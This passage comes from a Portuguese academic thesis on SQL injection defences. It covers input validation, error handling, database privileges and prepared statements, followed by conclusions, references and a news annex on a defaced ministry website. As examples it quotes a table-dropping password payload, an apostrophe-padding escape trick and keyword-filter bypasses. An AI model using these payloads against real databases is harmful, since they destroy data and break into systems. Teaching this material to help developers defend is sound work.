A apóstrofe final é removida, significando que a apóstrofe anterior não foi substituída. O literal resultante é o do Código 50. teste''''''''''''''''''''' Código 50 – Literal resultante Que permite que expressões SQL sejam injetadas no campo senha. Então se senha for igual ao Código 51 toda a tabela de usuários será apagada. ; DROP TABLE usuarios-- Código 51 – Senha maliciosa A pesquisa efetiva formada pela aplicação será como no Código 52. 75 SELECT * FROM usuarios WHERE nome = 'teste''''''''''''''''''''' AND senha = '; DROP TABLE usuarios--'; Código 52 – Pesquisa formada pela aplicação A utilidade de pesquisas injetadas é restrita pelo limite de tamanho, mas é possível deletar tabelas ou desligar o servidor com pequenas consultas (LITCHFIELD et al, 2005). Cuidados devem ser tomados quando se estiver escrevendo os códigos de análise de entrada que irão escapar caracteres que não são deletados pelo limite de tamanho. A idéia de rejeitar entradas conhecidas como maliciosas consiste em rejeitar entradas que contenham palavras chave da linguagem SQL como SELECT, DROP, ALTER, dentre outros. Segundo Anley (2002) essa idéia pode não funcionar, pois más entradas mudam o tempo todo com o desenvolvimento de novas técnicas de ataque. Além disso, existem muitas formas de se escrever um mesmo comando SQL de forma que ele passe pela autenticação de segurança. Por exemplo, um comando SELECT pode ser burlado por códigos alternativos como no Código 53. ‘ ‘SEL’ + ‘ECT *’+ ‘FR’ + ‘OM usuarios’ -- Código 53 – Burlando o comando SELECT Injetando o conteúdo do Código 53 o comando SELECT será executado normalmente no servidor passando pela verificação do filtro da palavra SELECT. Segundo Litchfield et al (2005) comandos SQL, caracteres e palavras podem ser escritos em código hexadecimal escapando assim de qualquer verificação por palavras chave ou maliciosas e sendo executados pelo BD normalmente. A melhor forma segundo Anley (2002) e Litchfield et al (2005) de se implementar a validação de entradas do usuário contra SQL Injection é permitir somente entradas conhecidas como “boas”. Porém para Anley (2002) este pode ser o método mais difícil de implementar e para Litchfield et al (2005) uma possível desvantagem de se utilizar essa técnica é que filtros definidos impropriamente podem bloquear acessos a usuários. A utilização desta técnica segue um modelo sistemático de checagem de tipos de variáveis e caracteres permitidos. Por exemplo, se uma variável recebe um número 76 de telefone, ela só deverá aceitar dígitos entre 0 e 9, ou se uma variável recebe o nome de uma pessoa ela deverá aceitar somente caracteres em maiúsculo ou minúsculo entre as letras A e Z. Além de utilizar essa técnica também é importante limitar o tamanho das variáveis e checar o formato dos valores enviados ao BD para diminuir a possibilidade de ataques mais graves. “Valide todos os seus dados do lado do servidor pelo menos por conteúdo, tamanho e formato” (MCDONALD, 2002). O modelo de implementação da validação de entrada de dados em uma aplicação deve ser estudado pelo programador a fim de adequar o mesmo ao funcionamento da sua aplicação web. É importante que todas as regras sejam perfeitamente testadas e que a validação seja feita corretamente. 6.1.1 Validação com HTML e Javascript Muitos programadores inexperientes realizam a validação da entrada de dados através da linguagem Javascript ou pela limitação do tamanho das entradas em campos de formulários HTML. Porém, a linguagem Javascript e as páginas HTML atuam somente do lado do cliente (client side), o que facilita o ataque de invasores. Códigos HTML e Javascript podem ser removidos do código fonte da página HTML, fazendo com que os dados maliciosos enviados pelo invasor cheguem ao BD sem receber sua devida validação. Para McDonald (2002) a validação de dados deve ser feita sempre do lado do servidor (server side). “Checar dados do lado do cliente com Javascript é, em minha opinião, uma completa perda de tempo. Tudo o que o invasor necessita fazer é baixar sua página como um arquivo HTML, remover os códigos Javascript e executar os comandos da máquina dele” (MCDONALD, 2002). Segundo McDonald (2002) para uma maior segurança dos dados do BD é aconselhável ao desenvolvedor não utilizar nomes reais de colunas da base de dados como nomes de campos de formulários HTML, pois isto facilitará a vida do invasor. Caso deseje, o desenvolvedor pode utilizar a linguagem Javascript para incrementar sua segurança ou para dificultar ao máximo o trabalho realizado pelo invasor, mas de forma alguma a validação de dados por Javascript deve ser utilizada como a única forma de defesa contra ataques por SQL Injection. 77 6.2 Mensagens de erro As mensagens de erro retornadas por aplicações web ao usuário estão entre as ferramentas mais úteis aos invasores que desejam explorar tais aplicações. A forma mais eficiente de ataques por SQL Injection (SQL Injection baseada em erros) é realizada através da análise do conteúdo das mensagens de erro geradas por aplicações web. “Se um invasor não pode obter o código fonte de uma aplicação, as mensagens de erro se tornam extremamente importantes para um ataque de sucesso” (KOST, 2004). Segundo Howard & Leblanc (2005, p.605) é necessário pesar o conselho que será dado aos invasores. Mensagens de erro devem somente informar ao usuário que houve uma falha na execução da ação solicitada e não retornar mais nenhuma informação que possa comprometer o BD e toda a aplicação web. “Testes e análises devem ser realizados para determinar se a aplicação retorna mensagens de erros detalhadas” (KOST, 2004). Por exemplo, se um invasor testar o campo da Figura 19 inserindo uma apóstrofe (‘) no campo CPF, a mensagem de erro da Figura 20 será retornada como resposta. Figura 19 - Teste de vulnerabilidade 78 Figura 20 - Mensagem de erro com excesso de informações Certamente a situação gerada na Figura 19 não era esperada pelo desenvolvedor da aplicação que além de não verificar a integridade das entradas recebidas do usuário não configurou as mensagens de erro retornadas ao usuário corretamente. A mensagem de erro da Figura 20 revela muitas informações úteis ao invasor, como defeitos de programação, o gerenciador de banco de dados utilizado (SQL Server), a linguagem de programação utilizada para se conectar ao BD (ASP) e revela a existência da vulnerabilidade à SQL Injection no campo atacado. Segundo Howard & Leblanc (2005, p.605), em situações como essa a aplicação web deve retornar somente uma mensagem de erro como “Falha na solicitação”, e registrar o erro no log de eventos para que o administrador possa ter ciência do que está acontecendo. De acordo com Friedl (2006) as mensagens padrão de erros de alguns sistemas incluem informações de defeitos de programação, e isto não pode ser mostrado a usuários. Esta informação deve ser restrita somente aos desenvolvedores. “Se estiver escrevendo um servidor, registre mensagens de erro detalhadas em log onde o administrador do sistema possa lê-las” (HOWARD & LEBLANC, 2005, p.605). A configuração correta de mensagens de erro ou a ausência delas não imuniza uma aplicação web contra ataques por injeção de código SQL. Este é somente mais um 79 procedimento para auxiliar na proteção contra ataques por SQL Injection e dificultar a ação de usuários mal-intencionados. 6.3 Configurações no Banco de Dados De acordo com Litchfield et al (2005), a preocupação com a segurança e configuração do gerenciador do banco de dados é tão importante quanto construir códigos seguros para a aplicação web. Se a validação de dados não funcionar corretamente, um banco de dados bem configurado pode minimizar os danos causados por ataques de injeção de SQL. A primeira medida de segurança, e mais importante, que um programador deve realizar é certificar-se de que a conta utilizada para conectar-se ao BD não tenha privilégios de administrador do sistema. “Todos os aplicativos devem ser executados com o menor privilégio para fazer o trabalho e não mais” (HOWARD & LEBLANC, 2005, P.83). É importante que a aplicação não se conecte com privilégios altos ao BD, pois se a conexão criada com esses privilégios tiver um bug no código SQL, que permita ataques por SQL Injection, o invasor poderá realizar todas as tarefas que o administrador do BD pode utilizar. Dentre as tarefas que uma conta de administrador de um BD pode realizar estão: • Excluir, alterar ou incluir qualquer banco de dados, tabelas, ou dados de tabelas no sistema; • Excluir registros em logs; • Alterar stored procedures, views ou triggers do sistema; • Adicionar novos usuários do banco de dados ao sistema; • Executar stored procedures e funções administrativas que permitam a execução de comandos do sistema operacional ou de rede. O potencial de danos causados a uma aplicação invadida que se conecte como administrador é ilimitado (HOWARD & LEBLANC, 2005, p.382). Gerenciadores de banco de dados como SQL Server, MySQL, Oracle e outros, possuem ferramentas que permitem ao usuário executar comandos de sistema (cmd.exe por exemplo), podendo assim prejudicar o sistema operacional do servidor de banco de dados e utilizar o 80 servidor como base de ataque a outros computadores da rede (LITCHFIELD et al, 2005). Executando a aplicação com o menor privilégio necessário para realizar as operações do BD, o programador diminui os possíveis danos que podem ser causados ao sistema por um invasor. Uma conta de usuário que possua poucos privilégios pode modificar somente dados e tabelas do banco de dados ao qual está conectado, não tendo permissão para modificar outros BDs do mesmo servidor e nem atacar o sistema operacional ou outras máquinas da rede. “Qualquer falha séria de software, como um estouro de buffer, que possa levar a questões de segurança causará menos danos se o software comprometido estiver sendo executado com poucos privilégios” (HOWARD & LEBLANC, 2005, p.211). De acordo com Anley (2002), além de se conectar com o menor privilégio possível para consultar o banco de dados, é aconselhável remover contas desnecessárias, verificar se todas as contas de usuário possuem senha e se certificar de que todas as senhas sejam fortes (evitando ataques de força bruta para quebrar senhas). Segundo McDonald (2002) uma boa medida de segurança é utilizar nomes de tabelas e colunas originais e difíceis de serem adivinhadas, pois nomes comuns facilitam o trabalho de invasores em recuperar os dados do BD atacado. É muito importante instalar sempre as atualizações de segurança mais recentes disponíveis para o programa gerenciador de Banco de Dados (SQL Server, MySQL, Oracle, PostgreSQL, entre outros). As atualizações de segurança servem para corrigir bugs largamente conhecidos por invasores em programas e, dessa forma, aumentar a segurança da aplicação. “Todas as atualizações de segurança deveriam ser aplicadas para prevenir o aumento de ataques” (LITCHFIELD et al, 2005). A maioria dos gerenciadores de banco de dados está repleta de funções e stored procedures nativas para facilitar a utilização do BD. Porém, essa abundância de funções nem sempre é útil ao programador, mas pode ser extremamente útil para invasores. Existem muitas funções e stored procedures nativas de gerenciadores de banco de dados que permitem ataques por SQL Injection (LITCHFIELD et al, 2005). Além de ataques por SQL Injection muitas destas funções possuem vulnerabilidades a buffer overflows (KOST, 2004). Segundo Litchfield et al (2005) a severidade dessa falha é pequena, pois todos os códigos SQL injetados irão executar com os privilégios do 81 usuário atual. Porém, se este usuário estiver conectado com privilégios elevados executará qualquer destas funções sem dificuldades. É extremamente aconselhável ao programador que desative ou remova todas as funções ou stored procedures extras existentes no seu BD que não tenham utilidade, se prevenindo assim que futuramente invasores se aproveitem destas para realizar um ataque. “Todas as funções que não são absolutamente necessárias à base de dados devem ser restritas” (KOST, 2004). Segundo McDonald (2002) outras medidas de segurança necessárias ao BD são: • Analisar o log do BD; • Analisar arquivos do servidor; • Realizar backups periodicamente. A análise do log do BD é necessária para verificar quais dados e comandos estão sendo enviados ao servidor. Através do log o administrador pode identificar tentativas de ataque à sua aplicação e se foram realizadas operações adversas no sistema. Também é necessário que o administrador preste atenção ao aparecimento de arquivos incomuns no servidor. Segundo McDonald (2002) esses arquivos podem ser criados por invasores para serem utilizados temporariamente para armazenar dados recuperados do BD atacado. E por último é extremamente aconselhável ao administrador do BD realizar backups periodicamente, evitando assim que seus dados sejam definitivamente apagados. 6.4 Expressões SQL Preparadas e Stored Procedures A forma mais eficiente de se proteger de ataques por SQL Injection é utilizar expressões preparadas (prepared statements) ou expressões parametrizadas, e também, usar stored procedures que embora não sejam imunes, são mais difíceis de serem atacados. Segundo Howard et al (2005, p.55), nunca se deve utilizar concatenação de strings ou substituição de strings para construir expressões SQL. As expressões preparadas são suportadas pela maioria das linguagens de programação (Java, PHP, ASP, dentre outras) utilizadas para realizar a troca de informações entre o servidor web e o banco de dados e são caracterizadas pelo uso de parâmetros de ligação (bind). De acordo com Friedl (2006) parâmetros de ligação são suportados por essencialmente 82 todas as interfaces de programação de banco de dados. Nesta técnica, uma expressão SQL é criada com marcadores de lugar ou placeholders, geralmente representados por um caractere ponto de interrogação (?) para cada parâmetro, que são compilados (“preparados”, na linguagem SQL) em um formulário interno. Mais tarde, esta consulta preparada é “executada” como uma lista de parâmetros. No Código 54 podemos visualizar um exemplo de uma consulta SQL insegura. SQL = "SELECT * FROM usuario WHERE nome = ‘nomeusuario' AND senha = 'senhausuario’ “; Código 54 – Consulta insegura A expressão formada no Código 54 é formada por concatenação de strings. Isto possibilita que códigos SQL sejam injetados nas variáveis enviadas pelo usuário e que sejam interpretados como comandos SQL causando inúmeros estragos à base de dados. O mesmo trecho pode ser construído de forma segura utilizando expressões preparadas. A forma segura para esta expressão pode ser visualizada no Código 55 (baseando-se na linguagem Java). ExpressaoPreparada ep = conexao.ExpressaoPreparada( "SELECT *FROM usuario WHERE nome = ? AND senha = ?"); ep.TransformaString(1, nomeusuario); ep.TransformaString(2, senhausuario); ResultadoTransformacao rt = ep.executaConsulta(); Código 55 – Consulta segura No Código 55, o nome e a senha do usuário são dados obtidos do formulário do usuário e são passados como parâmetros nos pontos de interrogação (?) em suas respectivas ordens, sendo que em nenhum ponto estas variáveis têm seu conteúdo interpretado como comandos SQL. A função TransformaString tem a tarefa de transformar o conteúdo das variáveis em strings comuns, evitando que qualquer conteúdo malicioso enviado pelo usuário seja interpretado pelo BD. Segundo Friedl (2006) apóstrofes (‘), vírgulas (,), barras invertidas (\), sinais de comentário (--) em SQL, dentre outros, não terão nenhum impacto, pois são somente dados. Não existe nada para contestar, então a aplicação está largamente imune a ataques por SQL 83 Injection. Segundo Howard & Leblanc (2005, p.384), além de serem mais seguras, as consultas parametrizadas são mais rápidas do que criar manualmente uma consulta SQL no código. Uma forma ainda mais segura seria a utilização de stored procedures com parametrização de consultas. De acordo com Friedl (2006) quando uma base de dados os suporta, para benefício da aplicação é recomendável à utilização de stored procedures para realizar acessos, o que pode eliminar a SQL por inteiro do código dos scripts que interagem com o BD (assumindo que os stored procedures são escritos corretamente). “Chamar stored procedures é mais rápido e mais seguro do que utilizar a concatenação de strings, pois os nomes no banco de dados e na tabela não são expostos e as stored procedures são otimizadas pelo mecanismo do banco de dados” (HOWARD & LEBLANC, 2005, p.387, 388). É possível escrever um stored procedure que construa consultas dinâmicas. Isto os torna vulneráveis a SQL Injection. O correto é escrever stored procedures com o uso de expressões SQL preparadas ou com variáveis de ligação para prover essa proteção. Se usadas corretamente, as consultas parametrizadas, sozinhas ou em conjunto com stored procedures, consistem na mais forte arma contra ataques que utilizam a técnica de invasão por SQL Injection. E se aliadas a outras técnicas, como uma boa configuração do servidor de banco de dados, o cuidado com as mensagens de erro reveladas ao usuário e a validação das entradas do usuário, tais tipos de consulta tornarão uma base de dados praticamente impossível de ser invadida pela técnica de injeção de códigos SQL. “Este é provavelmente o passo simples mais importante que se pode utilizar para tornar uma aplicação web segura” (FRIEDL, 2006). 84 7. CONCLUSÕES Através da realização deste trabalho foi possível identificar a natureza e a periculosidade da técnica de invasão por SQL Injection. Essa técnica se aproveita da ingenuidade e até despreparo de programadores ou desenvolvedores de sistemas web que, sem realizar nenhum procedimento de segurança, enviam dados a seus servidores de banco de dados. Um programa presente no servidor web pode enviar comandos SQL para serem executados no BD. O problema é que na maioria das vezes esses comandos são concatenados a dados enviados por usuários. Isso permite que comandos SQL maliciosos sejam incorporados ao código original presente no script e sejam executados no servidor de banco de dados, resultando em um ataque de SQL Injection. As pesquisas realizadas demonstraram que praticamente todas as linguagens de programação que realizam conexão com um banco de dados (PHP, ASP, Java, Perl, dentre outras) podem ser atacadas através da técnica de injeção de código SQL, assim como a grande maioria de gerenciadores de banco de dados (SQL Server, MySQL, Oracle, dentre outros) pode ser afetada por este ataque. O SQL Server é um dos mais sofisticados gerenciadores, porém, se mal configurado, pode ser o mais útil em ataques de SQL Injection, pois possui muitos extended stored procedures que podem ser utilizados em ataques e retorna mensagens de erro extremamente detalhadas sobre o BD ao invasor. O MySQL também possui vulnerabilidades à SQL Injection, como funções que escrevem e lêem valores de arquivos presentes no servidor e também retorna mensagens de erros úteis aos invasores, mas suas mensagens de erro são menos detalhadas, o que dificulta um pouco os ataques. O gerenciador Oracle pode ser considerado um dos mais seguros de sua categoria contra ataques de SQL Injection e sua principal ferramenta de proteção é o uso de variáveis de ligação (bind), porém o administrador do BD pode optar por não utilizálas tornando o gerenciador tão vulnerável quanto outros gerenciadores. Além disso, assim como o SQL Server, o Oracle possui stored procedures e funções nativas que, se não utilizadas corretamente ou não desativadas, são extremamente úteis a invasores. Praticamente todos os gerenciadores de banco de dados possuem vulnerabilidades a 85 SQL Injection. A estabilidade dos sistemas que os utilizam estará nos procedimentos de segurança que o(s) administrador(es) utilizar(em) no sistema. A maioria das aplicações web que realizam operações em conjunto com um banco de dados possuem vulnerabilidades à SQL Injection. Durante a pesquisa foi detectado que pelo menos um dentre três sites que realizam conexão com um BD possuem vulnerabilidades à técnica de injeção de SQL. Alguns técnicos de segurança importantes que escreveram grandes artigos técnicos sobre este método de invasão, como Litchfield (2005) e Chapela (2005), chegaram a afirmar que aproximadamente 60% das aplicações web que se conectam a um BD são vulneráveis. No Brasil quase não existe documentação sobre esse método de invasão, e os poucos artigos originalmente brasileiros encontrados na Internet (geralmente em sites de segurança) além de não darem importância a esta técnica de invasão oferecem medidas de proteção ineficientes. Isso resulta num grande número de sites brasileiros vulneráveis a esse ataque, a exemplo do site do Ministério da Justiça (ANEXO A) que sofreu ataques dessa classe. Na elaboração deste trabalho mostrou-se patente a importância da utilização de código seguro na elaboração de qualquer aplicação. A educação e conscientização do programador para a realização de testes de segurança em quaisquer das suas aplicações é essencial. Todas as áreas de uma aplicação web devem receber os mesmos tratamentos de segurança e não somente áreas de autenticação, pois uma pequena falha encontrada por um hacker em qualquer área da aplicação pode causar danos irreparáveis a todo o sistema. “Para construir aplicações seguras, os desenvolvedores devem reconhecer que a segurança é um componente fundamental de todo produto de software e que as proteções devem ser introduzidas ao software enquanto se está programando (SPETT, 2005)”. Uma série de práticas defensivas é útil contra ataques de SQL Injection. Uma delas é a correta validação de todos os dados enviados pelos usuários, aceitando somente os dados desejados pela aplicação. Também é importante ao administrador seguir várias configurações de segurança em seu servidor de banco de dados para dificultar ao máximo os ataques, por exemplo, nunca permitir que a aplicação web se conecte ao BD com privilégios de administrador (sa no SQL Server, root no MySQL, 86 dentre outros). É necessário também que o administrador não permita que as mensagens de erro retornadas por sua aplicação revelem dados importantes a invasores. Mas a medida de segurança mais importante de todas é a utilização de expressões preparadas. Expressões preparadas (prepared statments) são formadas por parâmetros de ligação (bind) que são transformados em strings. Esses parâmetros recebem os dados enviados pelo usuário, sendo assim o conteúdo das variáveis enviadas pelo usuário será tratado como uma string e nunca será interpretado pelo BD. É aconselhável nunca utilizar strings dinâmicas ou concatenação de strings, substituindo-as pelo uso de stored procedures, que escritos corretamente em conjunto com expressões preparadas constituem uma forte ferramenta contra a injeção de SQL. Se um administrador conseguir unir todas estas práticas de segurança terá um sistema web extremamente forte contra ataques de SQL Injection. Em todo o trabalho foi possível observar que a técnica de SQL Injection existe simplesmente porque muitos programadores não se preocupam com a segurança de seus sistemas. No Brasil, em razão da falta de divulgação e informação sobre SQL Injection, nota-se a necessidade de alarmar os desenvolvedores de sistemas para web sobre a gravidade desta forma de ataque e orientá-los corretamente quanto às precauções que devem ser tomadas para eliminar as vulnerabilidades aproveitadas por essa técnica de invasão. 87 8. REFERÊNCIAS BIBLIOGRÁFICAS ALFANTOOKH, Abdulkader A. An Automated Universal Server Level Solution For Sql Injection Security Flaw, 2004. Disponível em: <http://ieeexplore.ieee.org/iel5/9457/30014/01374401.pdf?tp=&arnumber=137440>. Acesso em: 22 de agosto de 2006. ANLEY, Chris. Advanced SQL Injection in SQL Server Applications, 2002. Disponível em: < http://www.ngssoftware.com/papers/advanced_sql_injection.pdf>. Acesso em: 30 de agosto de 2006. ANLEY, Chris. Hackproofing MySQL, 2004. Disponível em: <www.nextgenss.com/papers/HackproofingMySQL.pdf>. Acesso em: 20 de novembro de 2006. ANLEY, Chris. (More) Advanced SQL Injection in SQL Server Applications, 2002. Disponível em: < http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf> . Acesso em: 21 de agosto de 2006. AZEVEDO, Ernani. PHP Seguro, 2003. Disponível em: < http://santarem.procergs.com.br/tutorial/PROCERGS-PHP-Seguro.pdf >. Acesso em: 20 de agosto de 2006. BEAUCHEMIN, Bob; BERGLUND, Niels ; SULLIVAN, Dan. A First Look at SQL Server 2005 for Developers. Boston: Addison-Wesley, 2004. Ebook. BÔAS, Alexey A V; SANTOS, Leandro F S; ARRUDA, Flávio R; BLANCO, Eduardo L S. CGI com PERL. Tatuapé: Érica, 2001. BOYD, Stephen W & KEROMYTIS, Angelos D. SQLrand: Preventing SQL Injection Attacks, 2004. Disponível em: <http://www1.cs.columbia.edu/~angelos/Papers/sqlrand.pdf>. Acesso em: 25 de agosto de 2006. 88 CERRUDO, César. Manipulating Microsoft SQL Server using SQL Injection, 2002. Disponível em: <http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_ Injection.pdf> . Acesso em: 25 de agosto de 2006. CHAPELA, Victor. Advanced SQL Injection, 2005. Disponivel em: <http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt>. Acesso em: 20 de novembro de 2006. FAYÓ, Esteban Martinez. Advanced SQL Injection in Oracle databases, 2005. Disponível em: <http://securitypapers.globint.com.ar/oracle_security/AdvancedSQLInjectionInOrac leDatabases.pdf>. Acesso em: 01 de dezembro de 2006. FRIEDL, Steve. SQL Injection Attacks by example, 2006. Disponível em : < http://www.unixwiz.net/techtips/sql-injection.html>. Acesso em : 10 de Dezembro de 2006. GOURLEY, David ; TOTTY Brian ; SAYER Marjorie ; REDDY Sailu ; AGGARWAL Anshu. HTTP: The Definitive Guide. 2002. Gravenstein Highway (United States): O'Reilly, 2002. Ebook. HOTCHKIES, Cameron. Automating Blind SQL Exploitation, 2005. Disponível em: <www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04hotchkies.pdf>. Acesso em: 20 de dezembro de 2006. HOWARD, Michael & LEBLANC, David. Escrevendo Código Seguro. Porto Alegre: Bookman, 2005. Págs. 83, 211, 327, 328, 378, 379, 382, 384, 387 388, 605. HOWARD, Michael; LEBLANC, David; VIEGA, john. 19 Deadly Sins of Software Security. Emeryville: McGraw-Hill/Osborne, 2005. Pág. 55. JAVAFREE.ORG. CGI X SERVLETS, 2003. <http://www.javafree.org/javabb/viewtopic.jbb?t=1406>. Dezembro de 2006. Disponível Acesso em: em: 01 de 89 KENNEDY, Bill & MUSCIANO, Chuck. HTML & XHTML: The Definitive Guide, 5th Edition. Gravenstein Highway (United States): O'Reilly, 2002. Ebook. KOST, Stephen. An Introduction to SQL Injection Attacks for Oracle Developers, 2004. Disponível em: <www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf>. Acesso em: 15 de novembro de 2006. KOU, Chenyuan & SPRINGSTEEL Frederick. The Security Mechanism In The World Wide Web(WWW) And The Common Gateway Interface(CG1)Example of Central Police University Entrance Examination System, 1997. Disponível em: < http://ieeexplore.ieee.org/xpl/freeabs_all.jsp?arnumber=626249>. Acesso em: 25 de novembro de 2006. LITCHFIELD, David; ANLEY, Chris; HEASMAN, John; GRINDLAY, Bill. The Database Hacker’s Handbook. Indiana (United States of America): wiley Publishing Inc, 2005. Ebook. LITCHFIELD, David. Application assessments on IIS, 2000. Disponível em: < http://www.blackhat.com/presentations/bh-europe-00/DavidLitchfield/David-bheurope-00.ppt>. Acesso em: 20 de agosto de 2006. LITCHFIELD, David. SQL Injection and Data Mining through Inference, 2005. Disponível em: <www.blackhat.com/presentations/bh-europe-05/bh-eu-05- litchfield.pdf >. Acesso em: 20 de julho de 2006. LITCHFIELD, David. Web application disassembly with ODBC error messages, 2001. Disponível em: < http://www.ngssoftware.com/papers/webappdis.doc>. Acesso em: 15 de agosto de 2006. MAOR, Ofer & SHULMAN, Amichai. Blind SQL Injection, 2003. Disponível em: < http://www.imperva.com/application_defense_center/white_papers/blind_sql_server _injection.html>. Acesso em: 10 de agosto de 2006. 90 MCDONALD, Stuart. SQL Injection: Modes of attack, defence, and why it matters, 2002. Disponível em: <http://www.sans.org/reading_room/whitepapers/securecode/23.php>. Acesso em: 10 de janeiro de 2007. MANUAL DE REFERÊNCIA DO MYSQL, 2006. Disponível em: < http://www.mysql.org/doc/refman/4.1/pt/privileges-provided.html>. Acesso em: 20 de novembro de 2006. MILENKOVIC, Milena ; MILENKOVIC Aleksandar ; JOVANOV Emil. Using Instruction Block Signatures to Counter Code Injection Attacks, 2005. Disponível em: <http://www.ece.uah.edu/~milenka/docs/milenkovic_can05.pdf>. Acesso em: 20 de agosto de 2006. OLLMANN, Gunter. Second-order Code Injection Attacks, 2004. Disponível em: <http://www.ngssoftware.com/papers/SecondOrderCodeInjection.pdf>. Acesso em: 20 de agosto de 2006. PIETRASZEK, Tadeusz & BERGHE, Chris Vanden. Defending against Injection Attacks through Context-Sensitive String Evaluation, 2005. Disponível em: <http://chris.vanderberghe.org/publications/csse_raid2005.pdf>. Acesso em: 20 de agosto de 2006. PUPPY, Rain Forest. How I hacked PacketStorm, 2000. Disponível em: < http://archives.neohapsis.com/archives/win2ksecadvice/2000-q1/0085.html>. Acesso em: 9 de agosto de 2006. PUPPY, Rain Forest. NT ODBC remote compromisse, 1999. Disponível em : <http://www.securiteam.com/windowsntfocus/2AVQ5QAQKM.html>. Acesso em : 8 de agosto de 2006. RACCIATTI, Hérnan. Técnicas de SQL Injection Un Repaso, 2002. Disponível em: <http://www.hernanracciatti.com.ar/document/Tecnicas%20de%20SQL%20Injectio n%20-%20Un%20Repaso.pdf>. Acesso em: 25 de agosto de 2006. 91 RODRIGUES, Giordani. Site do Ministério da Justiça foi invadido, 2003. Disponível em: <http://www.infoguerra.com.br/infonews/talk/1044045346,10847,.shtml>. Acesso em: 07 de agosto de 2006. RUFINO, Nelson. Técnicas defensivas contra injeção de comandos, 2003. Disponível em: <http://www.infoguerra.com.br/infonews/viewnews.cgi?newsid1044032586,79974,/ >. Acesso em: 12 de julho de 2006. SPETT, Kevin. Blind SQL Injection: Are your web applications vulnerable?, 2005. Disponível em: <http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf>. Acesso em: 15 de setembro de 2006. SPETT, Kevin. SQL Injection: Are your web applications vulnerable?, 2002. Disponível em: < http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf>. Acesso em: 25 de agosto de 2006. TAYLOR, G. Allen. SQL FOR DUMMIES (5th edition). Indiana (United States of America): wiley Publishing Inc, 2003. Págs.7, 21, 45. 92 ANEXO A - SITE DO MINISTÉRIO DA JUSTIÇA FOI INVADIDO 31/1/2003 - 18:35 Giordani Rodrigues (http://www.infoguerra.com.br/infonews/talk/1044045346,10847,.shtml) O site do Ministério da Justiça (MJ) recebeu a indesejada visita de crackers pelo menos duas vezes nos últimos dias. Nas duas ocasiões os atacantes deixaram sua marca, desfigurando páginas do órgão. O ataque mais recente, assinado pelo grupo Ruffl3s, aconteceu na madrugada desta quinta-feira. O anterior foi assumido pelo grupo ATH (Against The Hell, isto é, “Contra o Inferno) e ocorreu no domingo. Os dois grupos são brasileiros. Até próximo de meio-dia de quinta-feira, o estrago ainda era visível numa das páginas do Departamento Nacional de Trânsito (Denatran) presente no site do MJ. O integrante L1L0, do grupo Ruffl3s, alterou o conteúdo da página, assinando seu apelido e o nome de seu grupo e inserindo a frase “Aprenda bem as regras... assim saberás como infringi-las de forma correta”. A cópia do ataque pode ser vista em http://www.infoguerra.com.br/defaced/mj.gif. No domingo, o grupo ATH desfigurou a página principal do site www2.mj.gov.br, que neste momento está com o acesso bloqueado aos usuários. Este endereço está hospedado num segundo servidor do MJ e traz páginas como www2.mj.gov.br/desaparecidos/ dedicada a crianças e adolescentes desaparecidos. O integrante “N30 Shark” fez uma pichação com as saudações habituais, mas com uma página HTML elaborada, o que mostra que o ataque foi mais profundo. O site Zone-H tem uma cópia do defacement. Apesar do imponente nome do site “Ministério da Justiça”, a invasão dos crackers foi banal. O MJ é apenas mais uma das vítimas do ataque conhecido como SQL Injection, que tem feito a festa dos invasores de páginas, desde os mais experientes até os novatos. Isto porque a falha é ridiculamente fácil de explorar, pode ser feita a partir de qualquer browser, conta com o auxílio de resultados obtidos em mecanismos de busca como o Google, que rastreiam páginas obscuras e de login, e não requer prática nem habilidade. 93 É basicamente um erro de programação feita de modo displicente, pois o bug é largamente conhecido. Há dois dias, InfoGuerra recebeu um e-mail de “uma nova empresa de segurança na Internet” pedindo que se entrasse em contato com o MJ para avisar da vulnerabilidade do painel administrativo da página que posteriormente foi desfigurada pelo Ruffl3s. "Para arrumar essa vulnerabilidade é preciso colocar no código ASP que não aceite login com caracteres especiais como aspas duplas (") e aspas simples (')", orientava a mensagem. O remetente se queixava de que seus e-mails de alerta para o órgão tinham sido ignorados. Na quinta-feira foi enviado um email para o setor de comunicação e para o webmaster do site do MJ, alertando para a falha e solicitando informações sobre o ataque dos Ruffl3s. A mensagem recebeu a confirmação de que foi entregue, tanto para um destinatário quanto para o outro, mas nenhuma resposta chegou de volta. A página desfigurada foi corrigida, mas o erro não, e o site continua vulnerável.